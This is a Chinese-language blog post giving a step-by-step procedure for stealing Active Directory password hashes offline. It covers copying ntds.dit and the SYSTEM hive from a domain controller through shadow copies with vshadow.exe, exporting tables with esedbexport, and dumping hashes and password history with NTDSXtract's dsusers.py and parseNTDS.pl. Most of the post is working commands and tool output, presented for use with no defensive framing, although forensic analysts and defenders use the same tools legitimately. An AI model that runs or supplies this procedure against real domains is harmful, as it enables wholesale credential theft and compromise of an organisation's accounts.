使用NTDSXtract离线抓取Domain Hash

      使用NTDSXtract离线抓取Domain Hash无评论

下载NTDSX

http://www.ntdsxtract.com/ 

下载libesedb 

http://code.google.com/p/libesedb/ 

获得ntds.dit和SYSTEM文件: 2008和2012的域控用ntdsutil命令,网上有。

2008以下的域控,创建磁盘的shadow copy,然后拷贝ntds.dit和system。 
有两个工具可共选择:Vssown.vbs 网上都有,很简单。 
windows的VSSSDK

去官网上下载,是个SDK需要安装,安装完后VSSSDK72/TestApps/vshadow目录下有源码和bin文件vshadow.exe,bin文件可以直接用,xp和2003的两个版本都有。网上也有单独的vshadow.exe文件。

vshadow.exe -exec=%ComSpec% C:  copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy1/windows/system32/config/system .  copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy1/windows/ntds/ntds.dit .  Exit  Exit

网上有个bat,也可以用。

http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

保存为CopyFile.cmd,和vshadow.exe放在同一目录下。

CopyFile.cmd c:/windows/system32/config/system c:/

Linux:
编译libesedb:
下载libesedb,文件名:libesedb-alpha-20120102.tar.gz。
解压:

tar -xf libesedb-alpha-20120102.tar.gz cd libesedb-20120102 ./configure make

提取ntds.dit中的表:

./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit    root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export    datatable.3  link_table.4  MSysObjects.0  MSysUnicodeFixupVer1.2  quota_table.8 sd_table.7    hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

我们只需要datatable 和 link_table。

解析ntds文件:

下载NTDSXtract,文件名:ntdsxtract_v1_0.zip。

解压:

cd esedbtools/  ./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit  root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export  datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7  hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

使用parseNTDS.pl:

parseNTDS.pl 用来处理NTDSX的结果。

http://www.cyberis.co.uk/downloads/parseNTDS.pl

Linux创建一个这个文件,赋予可执行权限,chmod +x parseNTDS.pl

将NTDSX的结果重定向到文件ntds.output;

python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 –passwordhashes ../NTDS/system > ../NTDS/ntds.output  ./paresNTDS.pl -f ./ntds.output –lmonly 只显示hash值;  ./paresNTDS.pl -f ./ntds.output –removedisable 去除无效账户;

其他的看usage,讲得很清楚。

Windows:
编译libesedb:

解压libesedb压缩包,msvscpp文件夹下有个Visual Studio 2008的 解决方案文件,用2008或

以上编译器打开,编译全部文件即可;不要修改其项目配置,编译不会出现问题。

使用/msvscpp/Release/esedbexport.exe文件提取ntds.dit文件中的表。

同目录下libesedb.dll是其依赖库,要放在一起。

提取ntds.dit中的表:

和Linux下一样,

esedbexport.exe -l ./ntds.log -t ./ntds.dit ./ntds.dit    Opening file.    Exporting table 1 (MSysObjects) out of 11.    Exporting table 2 (MSysObjectsShadow) out of 11.    Exporting table 3 (MSysUnicodeFixupVer1) out of 11.    Exporting table 4 (datatable) out of 11.    Exporting table 5 (link_table) out of 11.    Exporting table 6 (hiddentable) out of 11.    Exporting table 7 (sdproptable) out of 11.    Exporting table 8 (sd_table) out of 11.    Exporting table 9 (quota_table) out of 11.    Exporting table 10 (quota_rebuild_progress_table) out of 11.    Exporting table 11 (MSysDefrag1) out of 11.    Export completed.

只需要datatable和link_table。

解析ntds文件:

Windows上需要安装python。本人装的是Python 2.6。

由于NTDSX使用到了python的一个加密库文件pycrypto,所以我们需要下一个。

官网:

http://pypi.python.org/pypi/pycrypto/2.6

下载后需要编译,windows上编译比较麻烦。

http://www.voidspace.org.uk/python/modules.shtml#pycrypto

这里有已编译好的。

安装完python再安装pycrypto即可。

其他的跟Linux上一样的。

python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.4 –passwordhashes ../system –passwordhistory ../system –member ../system

使用parseNTDS.pl:

和linux一样,有perl环境就行。

源自:http://www.0x7c.com/?p=450

欢迎一起交流学习

发表评论